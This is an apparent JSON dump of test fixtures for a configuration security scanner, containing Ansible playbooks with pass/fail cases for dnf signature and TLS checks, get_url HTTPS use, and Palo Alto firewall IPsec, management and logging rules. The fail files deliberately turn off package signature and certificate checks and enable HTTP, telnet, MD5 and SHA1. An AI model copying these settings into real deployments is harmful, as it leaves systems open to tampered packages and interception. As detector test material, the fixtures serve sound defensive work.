    "content": "pass:\n  - \"tasks.ansible.builtin.dnf.long_unused\"\n  - \"tasks.dnf.short_unused\"\n  - \"tasks.ansible.builtin.dnf.long_false\"\n  - \"tasks.dnf.short_false\"\n  - \"tasks.ansible.builtin.dnf.long_no\"\n  - \"tasks.dnf.short_no\"\n  - \"tasks.ansible.builtin.dnf.long_off\"\n  - \"tasks.dnf.short_off\"\nfail:\n  - \"tasks.ansible.builtin.dnf.long_true\"\n  - \"tasks.dnf.short_true\"\n  - \"tasks.ansible.builtin.dnf.long_yes\"\n  - \"tasks.dnf.short_yes\"\n  - \"tasks.ansible.builtin.dnf.long_YES\"\n  - \"tasks.dnf.short_TRUE\"\nevaluated_keys:\n  - disable_gpg_check\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/DnfDisableGpgCheck/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: long_true\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        disable_gpg_check: true\n\n    - name: short_true\n      dnf:\n        name: nikto\n        state: latest\n        disable_gpg_check: true\n\n    - name: long_yes\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        disable_gpg_check: yes\n\n    - name: short_yes\n      dnf:\n        name: nikto\n        state: latest\n        disable_gpg_check: Yes\n    \n    - name: long_YES\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        disable_gpg_check: YES\n\n    - name: short_TRUE\n      dnf:\n        name: nikto\n        state: latest\n        disable_gpg_check: TRUE\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/DnfDisableGpgCheck/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: long_unused\n      ansible.builtin.dnf:\n        name: httpd\n        state: latest\n\n    - name: short_unused\n      dnf:\n        name: nikto\n        state: latest\n\n    - name: long_false\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        disable_gpg_check: false\n\n    - name: short_false\n      dnf:\n        name: nikto\n        state: latest\n        disable_gpg_check: False\n\n    - name: long_no\n      ansible.builtin.dnf:\n        name: disable_gpg_check\n        state: latest\n        disable_gpg_check: no\n\n    - name: short_no\n      dnf:\n        name: disable_gpg_check\n        state: latest\n        disable_gpg_check: No\n    \n    - name: long_off\n      ansible.builtin.dnf:\n        name: disable_gpg_check\n        state: latest\n        disable_gpg_check: off\n\n    - name: short_off\n      dnf:\n        name: disable_gpg_check\n        state: latest\n        disable_gpg_check: OFF\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/DnfSslVerify/expected.yaml",
    "content": "pass:\n  - \"tasks.ansible.builtin.dnf.long_unused\"\n  - \"tasks.dnf.short_unused\"\n  - \"tasks.ansible.builtin.dnf.long_true\"\n  - \"tasks.dnf.short_true\"\n  - \"tasks.ansible.builtin.dnf.long_yes\"\n  - \"tasks.dnf.short_yes\"\n  - \"tasks.ansible.builtin.dnf.long_on\"\n  - \"tasks.dnf.short_on\"\nfail:\n  - \"tasks.ansible.builtin.dnf.long_false\"\n  - \"tasks.dnf.short_false\"\n  - \"tasks.ansible.builtin.dnf.long_no\"\n  - \"tasks.dnf.short_no\"\n  - \"tasks.ansible.builtin.dnf.long_NO\"\n  - \"tasks.dnf.short_FALSE\"\nevaluated_keys:\n  - sslverify\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/DnfSslVerify/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: long_false\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        sslverify: false\n\n    - name: short_false\n      dnf:\n        name: nikto\n        state: latest\n        sslverify: false\n\n    - name: long_no\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        sslverify: no\n\n    - name: short_no\n      dnf:\n        name: nikto\n        state: latest\n        sslverify: No\n    \n    - name: long_NO\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        sslverify: NO\n\n    - name: short_FALSE\n      dnf:\n        name: nikto\n        state: latest\n        sslverify: FALSE\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/DnfSslVerify/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: long_unused\n      ansible.builtin.dnf:\n        name: httpd\n        state: latest\n\n    - name: short_unused\n      dnf:\n        name: nikto\n        state: latest\n\n    - name: long_true\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        sslverify: true\n\n    - name: short_true\n      dnf:\n        name: nikto\n        state: latest\n        sslverify: True\n\n    - name: long_yes\n      ansible.builtin.dnf:\n        name: sslverify\n        state: latest\n        sslverify: yes\n\n    - name: short_yes\n      dnf:\n        name: sslverify\n        state: latest\n        sslverify: Yes\n    \n    - name: long_on\n      ansible.builtin.dnf:\n        name: sslverify\n        state: latest\n        sslverify: on\n\n    - name: short_on\n      dnf:\n        name: sslverify\n        state: latest\n        sslverify: ON\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/DnfValidateCerts/expected.yaml",
    "content": "pass:\n  - \"tasks.ansible.builtin.dnf.long_unused\"\n  - \"tasks.dnf.short_unused\"\n  - \"tasks.ansible.builtin.dnf.long_true\"\n  - \"tasks.dnf.short_true\"\n  - \"tasks.ansible.builtin.dnf.long_yes\"\n  - \"tasks.dnf.short_yes\"\n  - \"tasks.ansible.builtin.dnf.long_on\"\n  - \"tasks.dnf.short_ON\"\nfail:\n  - \"tasks.ansible.builtin.dnf.long_false\"\n  - \"tasks.dnf.short_false\"\n  - \"tasks.ansible.builtin.dnf.long_no\"\n  - \"tasks.dnf.short_no\"\n  - \"tasks.ansible.builtin.dnf.long_NO\"\n  - \"tasks.dnf.short_FALSE\"\nevaluated_keys:\n  - validate_certs\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/DnfValidateCerts/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: long_false\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        validate_certs: false\n\n    - name: short_false\n      dnf:\n        name: nikto\n        state: latest\n        validate_certs: false\n\n    - name: long_no\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        validate_certs: no\n\n    - name: short_no\n      dnf:\n        name: nikto\n        state: latest\n        validate_certs: No\n    \n    - name: long_NO\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        validate_certs: NO\n\n    - name: short_FALSE\n      dnf:\n        name: nikto\n        state: latest\n        validate_certs: FALSE\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/DnfValidateCerts/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: long_unused\n      ansible.builtin.dnf:\n        name: httpd\n        state: latest\n\n    - name: short_unused\n      dnf:\n        name: nikto\n        state: latest\n\n    - name: long_true\n      ansible.builtin.dnf:\n        name: nikto\n        state: latest\n        validate_certs: true\n\n    - name: short_true\n      dnf:\n        name: nikto\n        state: latest\n        validate_certs: True\n\n    - name: long_yes\n      ansible.builtin.dnf:\n        name: validate_certs\n        state: latest\n        validate_certs: yes\n\n    - name: short_yes\n      dnf:\n        name: validate_certs\n        state: latest\n        validate_certs: Yes\n    \n    - name: long_on\n      ansible.builtin.dnf:\n        name: validate_certs\n        state: latest\n        validate_certs: on\n\n    - name: short_ON\n      dnf:\n        name: validate_certs\n        state: latest\n        validate_certs: ON\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/GetUrlHttpsOnly/expected.yaml",
    "content": "pass:\n  - \"tasks.ansible.builtin.get_url.https\"\n  - \"tasks.get_url.unknown\" # update test when variable rendering is supported\nfail:\n  - \"tasks.get_url.http\"\nevaluated_keys:\n  - \"url\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/GetUrlHttpsOnly/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: http\n      get_url:\n        url: http://example.com/path/file.conf\n        dest: /etc/foo.conf\n        force_basic_auth: yes\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/GetUrlHttpsOnly/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: https\n      ansible.builtin.get_url:\n        url: https://example.com/path/file.conf\n        dest: /etc/foo.conf\n        mode: '0440'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/GetUrlHttpsOnly/unknown.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  vars:\n    variable_url: https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar\n  tasks:\n    - name: unknown\n      get_url:\n        url: \"{{ variable_url }}\"\n        dest: /etc/foo.conf\n        force_basic_auth: yes\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosIPsecAuthenticationAlgorithms/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_pass_2\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_pass_3\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_pass_4\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_2\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_3\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_4\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_5\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_6\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_7\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_8\"\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_9\"\nevaluated_keys:\n  - \"esp_authentication\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosIPsecAuthenticationAlgorithms/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: ipsec_fail_1\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['none'] # No authentication algorithm\n\n    - name: ipsec_fail_2\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['md5'] # Unacceptable authentication algorithm\n\n    - name: ipsec_fail_3\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['sha1'] # Unacceptable authentication algorithm\n\n    - name: ipsec_fail_4\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: [''] # Empty authentication algorithm\n\n    - name: ipsec_fail_5\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        # No authentication algorithm specified, default is 'sha1' which is unacceptable\n\n    - name: ipsec_fail_6\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['md5', 'sha1'] # Multiple unacceptable authentication algorithms\n\n    - name: ipsec_fail_7\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['md5', 'sha512'] # Annacceptable authentication algorithm within a list including an acceptable algorithm\n\n    - name: ipsec_fail_8\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['sha512', 'md5'] # Annacceptable authentication algorithm within a list including an acceptable algorithm\n\n    - name: ipsec_fail_9\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['sha512', 'md5', 'sha384'] # Annacceptable authentication algorithm within a list including an acceptable algorithm\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosIPsecAuthenticationAlgorithms/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: ipsec_pass_1\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['sha256'] # Acceptable authentication algorithm\n\n    - name: ipsec_pass_2\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['sha384'] # Acceptable authentication algorithm\n\n    - name: ipsec_pass_3\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['sha512'] # Acceptable authentication algorithm\n\n    - name: ipsec_pass_4\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_encryption: ['aes-128-gcm']\n        esp_authentication: ['sha384', 'sha512'] # Multiple acceptable authentication algorithms\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosIPsecProtocols/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_pass_1\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_1\"\nevaluated_keys:\n  - \"ah_authentication\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosIPsecProtocols/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: ipsec_fail_1\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        ah_authentication: 'sha1' # Unencrypted AH should not be used\n        esp_encryption: 'aes-256-gcm'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosIPsecProtocols/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: ipsec_pass_1\n      paloaltonetworks.panos.panos_ipsec_profile:\n        provider: '{{ provider }}'\n        name: 'IPsec profile'\n        esp_authentication: ['sha512']\n        esp_encryption: ['aes-256-gcm'] # Encrypted ESP, not unencrypted AH, should be used\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoHTTP/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_pass_2\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_fail_2\"\nevaluated_keys:\n  - \"http\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoHTTP/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Interface_mgmt_profile_fail_1\n      paloaltonetworks.panos.panos_management_profile:\n        provider: '{{ provider }}'\n        name: 'Test profile'\n        http: true # http defined as true, which is a fail\n\n    - name: Interface_mgmt_profile_fail_2\n      paloaltonetworks.panos.panos_management_profile:\n        provider: '{{ provider }}'\n        name: 'Test profile'\n        ping: true\n        http: true # http defined as true, which is a fail\n        ssh: true\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoHTTP/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Interface_mgmt_profile_pass_1\n      paloaltonetworks.panos.panos_management_profile:\n        provider: '{{ provider }}'\n        name: 'Test profile'\n        ping: true\n        ssh: true\n        # http not defined, defaults to false, which is a pass\n\n    - name: Interface_mgmt_profile_pass_2\n      paloaltonetworks.panos.panos_management_profile:\n        provider: '{{ provider }}'\n        name: 'Test profile'\n        ping: true\n        ssh: true\n        http: false # http defined as false, which is a pass\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoTelnet/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_pass_2\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_fail_2\"\nevaluated_keys:\n  - \"telnet\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoTelnet/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Interface_mgmt_profile_fail_1\n      paloaltonetworks.panos.panos_management_profile:\n        provider: '{{ provider }}'\n        name: 'Test profile'\n        telnet: true # telnet defined as true, which is a fail\n\n    - name: Interface_mgmt_profile_fail_2\n      paloaltonetworks.panos.panos_management_profile:\n        provider: '{{ provider }}'\n        name: 'Test profile'\n        ping: true\n        telnet: true # telnet defined as true, which is a fail\n        ssh: true\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoTelnet/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Interface_mgmt_profile_pass_1\n      paloaltonetworks.panos.panos_management_profile:\n        provider: '{{ provider }}'\n        name: 'Test profile'\n        ping: true\n        ssh: true\n        # telnet not defined, defaults to false, which is a pass\n\n    - name: Interface_mgmt_profile_pass_2\n      paloaltonetworks.panos.panos_management_profile:\n        provider: '{{ provider }}'\n        name: 'Test profile'\n        ping: true\n        ssh: true\n        telnet: false # telnet defined as false, which is a pass\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyDescription/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2\"\nevaluated_keys:\n  - \"description\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyDescription/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_fail_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        action: 'allow'\n        log_setting: 'default'\n        # No description provided\n\n    - name: Security_rule_fail_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        action: 'allow'\n        description: '' # Description is empty\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyDescription/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_pass_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\" # Description provided\n        action: 'allow'\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyLogForwarding/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2\"\nevaluated_keys:\n  - \"log_setting\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyLogForwarding/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_fail_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['10.10.10.1']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: '' # Log forwarding profile specified is empty\n\n    - name: Security_rule_fail_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['10.10.10.1']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        # Log forwarding profile not specified\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyLogForwarding/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_pass_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['10.10.10.1']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default' # Log forwarding profile is specified\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyLogSessionStart/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1\"\nevaluated_keys:\n  - \"log_start\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyLogSessionStart/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_fail_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['inside']\n        destination_zone: ['outside']\n        source_ip: ['10.10.10.1']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_start: true # log_end specified as false which is a fail \n        log_setting: 'default'\n\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyLogSessionStart/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_pass_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['inside']\n        destination_zone: ['outside']\n        source_ip: ['10.10.10.1']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n        # log_start not specified, default is true which is a pass\n\n    - name: Security_rule_pass_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['inside']\n        destination_zone: ['outside']\n        source_ip: ['10.10.10.1']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n        log_start: false # log_start specified as true which is a pass\n\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyLoggingEnabled/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1\"\nevaluated_keys:\n  - \"log_end\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyLoggingEnabled/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_fail_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['10.10.10.1']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_end: false # log_end specified as false which is a fail\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyLoggingEnabled/pass.yaml",
